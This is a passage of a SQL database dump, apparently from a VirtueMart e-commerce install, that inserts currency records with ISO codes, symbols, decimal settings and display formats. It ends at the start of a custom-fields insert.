1, 'Indonesian rupiah', '', 'IDR', 360, 0, 'Rp', '0', '', '', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (67, 1, 'Israeli new sheqel', '', 'ILS', 376, 0, '₪', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (68, 1, 'Indian rupee', '', 'INR', 356, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (69, 1, 'Iraqi dinar', '', 'IQD', 368, 0, 'ع.د', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (70, 1, 'Iranian rial', '', 'IRR', 364, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number}{symb0l}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (73, 1, 'Jamaican dollar', '', 'JMD', 388, 0, 'J$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (74, 1, 'Jordanian dinar', '', 'JOD', 400, 0, 'د.ا', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (75, 1, 'Japanese yen', '', 'JPY', 392, 0, '¥', '0', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (76, 1, 'Kenyan shilling', '', 'KES', 404, 0, 'Sh', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (77, 1, 'Cambodian riel', '', 'KHR', 116, 0, '៛', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (78, 1, 'Comorian franc', '', 'KMF', 174, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (79, 1, 'North Korean won', '', 'KPW', 408, 0, '₩', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (80, 1, 'South Korean won', '', 'KRW', 410, 0, '₩', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (81, 1, 'Kuwaiti dinar', '', 'KWD', 414, 0, 'د.ك', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (82, 1, 'Cayman Islands dollar', '', 'KYD', 136, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (83, 1, 'Lao kip', '', 'LAK', 418, 0, '₭', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (84, 1, 'Lebanese pound', '', 'LBP', 422, 0, '£', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (85, 1, 'Sri Lankan rupee', '', 'LKR', 144, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (86, 1, 'Liberian dollar', '', 'LRD', 430, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (87, 1, 'Lesotho loti', '', 'LSL', 426, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (89, 1, 'Libyan dinar', '', 'LYD', 434, 0, 'ل.د', '3', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (90, 1, 'Moroccan dirham', '', 'MAD', 504, 0, 'د.م.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (92, 1, 'Mongolian tögrög', '', 'MNT', 496, 0, '₮', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (93, 1, 'Macanese pataca', '', 'MOP', 446, 0, 'P', '1', ',', '', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (94, 1, 'Mauritanian ouguiya', '', 'MRO', 478, 0, 'UM', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (96, 1, 'Mauritian rupee', '', 'MUR', 480, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (97, 1, 'Maldivian rufiyaa', '', 'MVR', 462, 0, 'ރ.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (98, 1, 'Malawian kwacha', '', 'MWK', 454, 0, 'MK', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (100, 1, 'Malaysian ringgit', '', 'MYR', 458, 0, 'RM', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (102, 1, 'Nigerian naira', '', 'NGN', 566, 0, '₦', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (105, 1, 'Norwegian krone', '', 'NOK', 578, 0, 'kr', '2', ',', ' ', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (106, 1, 'Nepalese rupee', '', 'NPR', 524, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (107, 1, 'New Zealand dollar', '', 'NZD', 554, 0, '$', '2', ',', '', '{number} {symbol}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (108, 1, 'Omani rial', '', 'OMR', 512, 0, '﷼', '3', '.', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (109, 1, 'Panamanian balboa', '', 'PAB', 590, 0, 'B/.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (110, 1, 'Peruvian nuevo sol', '', 'PEN', 604, 0, 'S/.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (111, 1, 'Papua New Guinean kina', '', 'PGK', 598, 0, 'K', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (112, 1, 'Philippine peso', '', 'PHP', 608, 0, '₱', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (113, 1, 'Pakistani rupee', '', 'PKR', 586, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (114, 1, 'Polish Złoty', '', 'PLN', 985, 0, 'zł', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (116, 1, 'Paraguayan guaraní', '', 'PYG', 600, 0, '₲', '0', '', '.', '{symbol} {number}', '{symbol} {sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (117, 1, 'Qatari riyal', '', 'QAR', 634, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (118, 1, 'Romanian leu', '', 'RON', 946, 0, 'lei', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (119, 1, 'Rwandan franc', '', 'RWF', 646, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (120, 1, 'Saudi riyal', '', 'SAR', 682, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (121, 1, 'Solomon Islands dollar', '', 'SBD', 90, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (122, 1, 'Seychellois rupee', '', 'SCR', 690, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (124, 1, 'Swedish krona', '', 'SEK', 752, 0, 'kr', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (125, 1, 'Singapore dollar', '', 'SGD', 702, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (126, 1, 'Saint Helenian pound', '', 'SHP', 654, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (127, 1, 'Sierra Leonean leone', '', 'SLL', 694, 0, 'Le', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (128, 1, 'Somali shilling', '', 'SOS', 706, 0, 'S', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (130, 1, 'São Tomé and Príncipe dobra', '', 'STD', 678, 0, 'Db', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (131, 1, 'Russian ruble', '', 'RUB', 643, 0, 'руб', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (132, 1, 'Salvadoran colón', '', 'SVC', 222, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (133, 1, 'Syrian pound', '', 'SYP', 760, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (134, 1, 'Swazi lilangeni', '', 'SZL', 748, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (135, 1, 'Thai baht', '', 'THB', 764, 0, '฿', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (136, 1, 'Tunisian dinar', '', 'TND', 788, 0, 'د.ت', '3', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (137, 1, 'Tongan paʻanga', '', 'TOP', 776, 0, 'T$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (139, 1, 'Turkish new lira', '', 'TRY', 949, 0, 'YTL', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (140, 1, 'Trinidad and Tobago dollar', '', 'TTD', 780, 0, 'TT$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (141, 1, 'New Taiwan dollar', '', 'TWD', 901, 0, 'NT$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (142, 1, 'Tanzanian shilling', '', 'TZS', 834, 0, 'Sh', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (144, 1, 'United States dollar', '', 'USD', 840, 0, '$', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (147, 1, 'Vietnamese Dong', '', 'VND', 704, 0, '₫', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (148, 1, 'Vanuatu vatu', '', 'VUV', 548, 0, 'Vt', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (149, 1, 'Samoan tala', '', 'WST', 882, 0, 'T', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (151, 1, 'Yemeni rial', '', 'YER', 886, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (152, 1, 'Serbian dinar', '', 'RSD', 941, 0, 'Дин.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (153, 1, 'South African rand', '', 'ZAR', 710, 0, 'R', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (154, 1, 'Zambian kwacha', '', 'ZMK', 894, 0, 'ZK', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (156, 1, 'Zimbabwean dollar', '', 'ZWD', 932, 0, 'Z$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (158, 1, 'Armenian dram', '', 'AMD', 51, 0, 'դր.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (159, 1, 'Myanmar kyat', '', 'MMK', 104, 0, 'K', '2', ',', '', '{number} {symbol}', '{symbol} {sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (160, 1, 'Croatian kuna', '', 'HRK', 191, 0, 'kn', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (161, 1, 'Eritrean nakfa', '', 'ERN', 232, 0, 'Nfk', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (162, 1, 'Djiboutian franc', '', 'DJF', 262, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (163, 1, 'Icelandic króna', '', 'ISK', 352, 0, 'kr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (164, 1, 'Kazakhstani tenge', '', 'KZT', 398, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (165, 1, 'Kyrgyzstani som', '', 'KGS', 417, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (166, 1, 'Latvian lats', '', 'LVL', 428, 0, 'Ls', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (167, 1, 'Lithuanian litas', '', 'LTL', 440, 0, 'Lt', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (168, 1, 'Mexican peso', '', 'MXN', 484, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (169, 1, 'Moldovan leu', '', 'MDL', 498, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (170, 1, 'Namibian dollar', '', 'NAD', 516, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (171, 1, 'Nicaraguan córdoba', '', 'NIO', 558, 0, 'C$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (172, 1, 'Ugandan shilling', '', 'UGX', 800, 0, 'Sh', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (173, 1, 'Macedonian denar', '', 'MKD', 807, 0, 'ден', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (174, 1, 'Uruguayan peso', '', 'UYU', 858, 0, '$', '0', '', '', '{symbol}number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (175, 1, 'Uzbekistani som', '', 'UZS', 860, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (176, 1, 'Azerbaijani manat', '', 'AZN', 934, 0, 'ман', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (177, 1, 'Ghanaian cedi', '', 'GHS', 936, 0, '₵', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (178, 1, 'Venezuelan bolívar', '', 'VEF', 937, 0, 'Bs', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (179, 1, 'Sudanese pound', '', 'SDG', 938, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (180, 1, 'Uruguay Peso', '', 'UYI', 940, 0, 'UYI', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (181, 1, 'Mozambican metical', '', 'MZN', 943, 0, 'MT', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (182, 1, 'WIR Euro', '', 'CHE', 947, 0, '€', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (183, 1, 'WIR Franc', '', 'CHW', 948, 0, 'CHW', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (184, 1, 'Central African CFA franc', '', 'XAF', 950, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (185, 1, 'East Caribbean dollar', '', 'XCD', 951, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (186, 1, 'West African CFA franc', '', 'XOF', 952, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (187, 1, 'CFP franc', '', 'XPF', 953, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (188, 1, 'Surinamese dollar', '', 'SRD', 968, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (189, 1, 'Malagasy ariary', '', 'MGA', 969, 0, 'MGA', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (190, 1, 'Unidad de Valor Real', '', 'COU', 970, 0, 'COU', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (191, 1, 'Afghan afghani', '', 'AFN', 971, 0, '؋', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (192, 1, 'Tajikistani somoni', '', 'TJS', 972, 0, 'ЅМ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (193, 1, 'Angolan kwanza', '', 'AOA', 973, 0, 'Kz', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (194, 1, 'Belarusian ruble', '', 'BYR', 974, 0, 'p.', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (195, 1, 'Bulgarian lev', '', 'BGN', 975, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (196, 1, 'Congolese franc', '', 'CDF', 976, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (197, 1, 'Bosnia and Herzegovina convert', '', 'BAM', 977, 0, 'KM', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (198, 1, 'Mexican Unid', '', 'MXV', 979, 0, 'MXV', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (199, 1, 'Ukrainian hryvnia', '', 'UAH', 980, 0, '₴', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (200, 1, 'Georgian lari', '', 'GEL', 981, 0, 'ლ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (201, 1, 'Mvdol', '', 'BOV', 984, 0, 'BOV', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); -- -- Dumping data for table `#__virtuemart_customs` -- INSERT INTO `#__virtuemart_customs` ( `virtuemart_custom_id`, `custom_parent_id`, 